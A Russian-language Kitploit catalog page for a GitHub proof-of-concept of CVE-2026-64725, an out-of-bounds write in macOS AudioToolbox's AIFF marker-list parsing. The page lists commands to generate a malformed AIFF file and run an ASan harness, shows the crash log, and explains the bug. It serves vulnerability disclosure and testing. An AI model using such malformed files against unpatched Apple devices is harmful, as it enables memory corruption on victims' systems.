Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
Инструменты/GitHubGitHub/altvist/cve-2026-64725-poc
Анализ уязвимостейЭксплуатацияЭксплуатация Бинарных Файлов
GitHubaltvist/cve-2026-64725-poc

cve-2026-64725-poc

PoC для CVE-2026-64725

Репозиторий
121 месяц назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

Что в репозитории?

PoC для CVE-2026-64725. Подробности см. в исходном коде и записи в блоге.

Как воспроизвести?

Платформы

Обнаружено на macOS 26.4.1 (сборка 25E253; Darwin 25.4.0 (xnu-12377.101.15~1); Apple Silicon (T8103 / M1)).

Apple подтверждает, что macOS/iOS/iPadOS < 26.6 уязвимы.

PoC

  1. Убедитесь, что на вашем Mac установлена последняя версия macOS

  2. Убедитесь, что у вас установлены Python 3.6+ и clang

  3. Склонируйте репозиторий на свой Mac

  4. Сгенерируйте минимальный некорректный AIFF, который вызывает ошибку знакового сдвига в int64_t AIFFAudioFile::GetMarkerList(uint32_t*, AudioFileMarkerList*, bool):

    root@kitploit:~
    cd poc/
    python3 gen_marker_oob_aiff.py
    

    или

    root@kitploit:~
    cd poc/
    make aiff
    

    В результате вы должны получить файл marker_oob.aiff.

Скачать инструмент
  • Соберите минимальную обвязку PoC с ASan:

    root@kitploit:~
    make 
    

    В результате вы должны получить marker_oob_harness.

  • Запуск PoC

    root@kitploit:~
    ./marker_oob_harness marker_oob.aiff
    

    Вы должны увидеть нечто вроде

    root@kitploit:~
    buf=0x619000001480 alloc=1000 bytes (room for 25 AudioFileMarker slots, 40 B each)
    AddressSanitizer:DEADLYSIGNAL
    =================================================================
    ==62449==ERROR: AddressSanitizer: BUS on unknown address (pc 0x0001929391d8 bp 0x00016b686390 sp 0x00016b686220 T0)
    ==62449==The signal is caused by a WRITE memory access.
    ==62449==Hint: this fault was caused by a dereference of a high value address (see register values below).  Disassemble the provided pc to learn which register was used.
        #0 0x0001929391d8 in AIFFAudioFile::GetMarkerList(unsigned int*, AudioFileMarkerList*, bool)+0x2e4 (AudioToolboxCore:arm64e+0x17b1d8)
        #1 0x0001927c6a1c in AudioFileGetProperty+0x70 (AudioToolboxCore:arm64e+0x8a1c)
        #2 0x000104778ca4 in main marker_oob_harness.c:59
        #3 0x00018f8a3da0 in start+0x1b4c (dyld:arm64e+0x1fda0)
    
    ==62449==Register values:
     x[0] = 0xa29319b2bf742f12   x[1] = 0x0000000000000000   x[2] = 0x0000000000000000   x[3] = 0x0000000000000008  
     x[4] = 0x0000000000000004   x[5] = 0xffffffffffffffff   x[6] = 0x0000000000000000   x[7] = 0x0000000000000001  
     x[8] = 0x0000000000000000   x[9] = 0x0000000000001917  x[10] = 0x0000000000000002  x[11] = 0x0000000000000000  
    x[12] = 0x000000002d6d0c46  x[13] = 0x00000001fd0f3380  x[14] = 0x0000000000000000  x[15] = 0x0000000000000000  
    x[16] = 0x000000016b686231  x[17] = 0x00000001fd0e6d78  x[18] = 0x0000000000000000  x[19] = 0x0000000000000001  
    x[20] = 0x000000016b686420  x[21] = 0x0000615000000a80  x[22] = 0x0000000000000000  x[23] = 0x000000000000c8e6  
    x[24] = 0x000000000000c8e8  x[25] = 0x00000000ffffe6e9  x[26] = 0x0000000000000004  x[27] = 0x000061900004000c  
    x[28] = 0x0000000000000002     fp = 0x000000016b686390     lr = 0x00000001929391b8     sp = 0x000000016b686220  
    AddressSanitizer can not provide additional info.
    SUMMARY: AddressSanitizer: BUS (AudioToolboxCore:arm64e+0x17b1d8) in AIFFAudioFile::GetMarkerList(unsigned int*, AudioFileMarkerList*, bool)+0x2e4
    ==62449==ABORTING
    zsh: abort      ./marker_oob_harness marker_oob.aiff
    

    Что произошло?

    Короче говоря:

    1. marker_oob_harness открыл marker_oob.aiff, вызвав документированный публичный API AudioFileOpenURL(...)

    2. marker_oob_harness вызвал calloc, чтобы выделить буфер вывода фиксированной длины для маркеров (это не лучшая практика, но в реальном мире так часто бывает; более безопасный код-паттерн GetMarkerListSize обсуждается ниже в разделах «Безопасные случаи» / «GetMarkerListSize → malloc(size) → GetMarkerList»)

    3. marker_oob_harness попытался получить список маркеров, вызвав документированный публичный API AudioFileGetProperty(...) с inPropertyID=kAudioFilePropertyMarkerList. Все аргументы, включая размер выходного буфера и указатель на буфер, были корректными.

    4. AudioFileGetProperty(...) под капотом вызвал недокументированный API int64_t AIFFAudioFile::GetMarkerList(uint32_t*, AudioFileMarkerList*, bool)

    5. int64_t AIFFAudioFile::GetMarkerList(uint32_t*, AudioFileMarkerList*, bool) неверно интерпретировал (корректный!) размер выходного буфера и записывает байты из marker_oob.aiff за пределы буфера, поэтому вы увидели сообщение о падении ASan. Ожидаемое корректное поведение — вернуть ошибку «буфер слишком мал» или что-то в этом роде.

    Количество байтов, записанных за пределы буфера, зависит от размера файла. Вредоносный файл .aiff может переполнить любой буфер разумного размера, если файл достаточно велик.

    Подробности см. в записи в блоге.